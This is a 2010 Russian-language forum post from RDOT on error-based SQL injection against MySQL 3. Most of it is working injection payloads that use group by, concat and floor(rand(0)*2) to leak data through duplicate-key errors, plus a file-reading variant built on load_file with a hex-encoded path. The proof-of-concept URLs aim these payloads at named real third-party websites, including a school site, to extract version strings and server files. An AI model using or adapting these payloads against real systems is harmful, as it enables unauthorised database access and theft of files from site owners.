MySQL 3 Error Based SQLi

2010-08-07T00:00:00
ID RDOT:503
Type rdot
Reporter BlackFan
Modified 2010-08-07T00:00:00

Description

Ну, собственно, как я уже писал в теме "Шпаргалка", помимо запросов, предложенных Qwazar

Код:

union select 1,count(*),concat((select pass from users limit 1),0x3a,floor(rand(0)*2)) x from users group by x

and row(1,1)>(select+count(*),concat((select pass from users limit 1),0x3a,floor(rand(0)*2)) x from users group by x limit 1)

Можно использовать следущий

Код:

or 1 group by concat(version(),floor(rand(0)*2)) having min(0)

Что позволяет нам полностью избавиться от использования UNION и Subquery, а, следовательно, убирает все преграды для использования этой атаки в MySQL 3.
В итоге, мы получаем нормальный вывод данных и вполне юзабельную читалку файлов.
Единственное отличие, пришлось добавить or 1 в having, без него mysql 3 не хотело возвращать ошибку.

Финальный запрос:

Код:

or 1 group by concat(version(),floor(rand(0)*2)) having min(0) or 1 -- -

Дополнение:
Вместо "min" можно использовать любую агрегатную функцию:
count, max, sum, avg, bit_and, bit_or, bit_xor, std, stddev, variance (mysql>=3)
var_pop, var_samp, stddev_pop, stddev_samp (mysql>=5)

PoC:

Код:

Вывод версии:
http://www.esiweb.org/index.php?lang=en&id=311&film_ID=5&slide_ID=27+or+1+group+by+concat(version(),floor(rand(0)*2))+having+min(0)+or+1+--+
http://www.hse.ru/pressa2002/default.php?show=12551+or+1+group+by+concat(version(),floor(rand(0)*2))+having+min(0)+or+1
Читалка файлов:
http://perkins.pvt.k12.ma.us/museum/area.php?id=35+or+1+group+by+concat(mid(load_file(0x2F6578706F72742F686F6D652F6861697262616C6C2F68746D6C2F6D757365756D2F736E69666665722E706870),1,163),floor(rand(0)*2))+having+min(0)+or+1+

А так же тесты на 3.23.55-nt (windows) показали, что через ошибку можно протащить вплоть до 163 байт + единичка от rand

Код:

mysql> select password from users group by concat(left(load_file('c:/mysql/data/test/test.txt'),163),floor(rand(0)*2)) having count(*) or 1;
ERROR 1062: Duplicate entry 'Rabotaet! Ochen ochen ochen dlinnyj fail i edinichka na konce iz-za rand Rabotaet! Ochen ochen ochen dlinnyj fail i edinichka na konce iz-za rand Rabotaet! Ochen o1' for key 1

Вот такой вот небольшой ресерч Хотя, наверно, сейчас мало где встретишь 3 версию)